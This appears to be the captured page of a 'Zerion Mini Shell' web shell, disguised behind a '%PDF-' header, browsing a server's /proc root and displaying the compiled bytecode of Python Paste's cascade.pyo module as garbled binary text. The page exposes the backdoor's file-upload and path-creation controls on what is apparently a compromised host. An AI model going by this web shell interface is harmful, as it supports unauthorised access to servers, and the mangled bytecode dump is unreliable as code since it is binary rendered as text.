%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/paste/
Upload File :
Create Path :
Current File : //proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pyo

�
a�Nc@szdZddlmZddlmZddlZddlmZdgZdd�Z	de
fd	��YZd
�ZdS(sZ
Cascades through several applications, so long as applications
return ``404 Not Found``.
i����(thttpexceptions(t
convertersN(tStringIOtCascadet404cKs�tttj|��}g}xj|j�D]\\}}|jd�s_td||f��n|j|d|�}|j||f�q+W|j	�g|D]\}}|^q�}t
|d|�S(s!
    Entry point for Paste Deploy configuration
    
    Expects configuration like::

        [composit:cascade]
        use = egg:Paste#cascade
        # all start with 'app' and are sorted alphabetically
        app1 = foo
        app2 = bar
        ...
        catch = 404 500 ...
    tappsLBad configuration key %r (=%r); all configuration keys must start with 'app'tglobal_conftcatch(tmaptintRtaslisttitemst
startswitht
ValueErrortget_apptappendtsortR(tloaderRRt
local_conftappstnametvalueR((s>/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pytmake_cascades
cBs#eZdZdd�Zd�ZRS(sf
    Passed a list of applications, ``Cascade`` will try each of them
    in turn.  If one returns a status code listed in ``catch`` (by
    default just ``404 Not Found``) then the next application is
    tried.

    If all applications fail, then the last application's failure
    response is used.

    Instances of this class are WSGI applications.
    i�cCs�||_i|_g|_x�|D]�}t|t�rVt|jdd�d�}nt|tj	�rz|}|j
}ntj|�}|}||j|<|jj|�q"Wt
|j�|_dS(Nii(Rtcatch_codestcatch_exceptionst
isinstancetstrR	tsplittNoneRt
HTTPExceptiontcodet
get_exceptionRttuple(tselftapplicationsRterrortexcR((s>/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pyt__init__9s			

c
s'g�d	���fd�}y"t|jdd�p9d�}Wntk
rYd}nX|dkrSt}|dks�|dkr-tj�}|dkr�|j|dj��ng|}x^|dkr|djt	|d��}|s�t
d��n|j|�|t|�8}q�W|jd�nt
|dj|��}||d<nt}x��jd D]�}	|j�}
|r�|
djd�ng�yC|	|
|�}�s�|St|d�r�t|�|j�nWqg�jk
r�}qgXqgW|r|djd�n�jd|��S(
s,
        WSGI application interface
        csLt|jdd�d�}|�jkr<�jd�tS�|||�S(Nii(R	RRRRt_consuming_writer(tstatustheaderstexc_infoR(tfailedR!tstart_response(s>/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pytrepl_start_responseOs

tCONTENT_LENGTHiis
wsgi.inputsRequest body truncatedi����tcloseN(RR	tgetR
tTruettempfilet
TemporaryFiletwritetreadtmintIOErrortlentseekRtFalseRtcopythasattrtlistR.R(
R!tenvironR+R,tlengthtcopy_wsgi_inputtftcopy_lentchunkRtenviron_copytvte((R*R!R+s>/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pyt__call__JsP"




(i�(t__name__t
__module__t__doc__R%RF(((s>/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pyR+scCsdS(N((ts((s>/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pyR&�s(
RItpasteRt
paste.utilRR1t	cStringIORt__all__RtobjectRR&(((s>/opt/alt/python27/lib/python2.7/site-packages/paste/cascade.pyt<module>s	Y

Zerion Mini Shell 1.0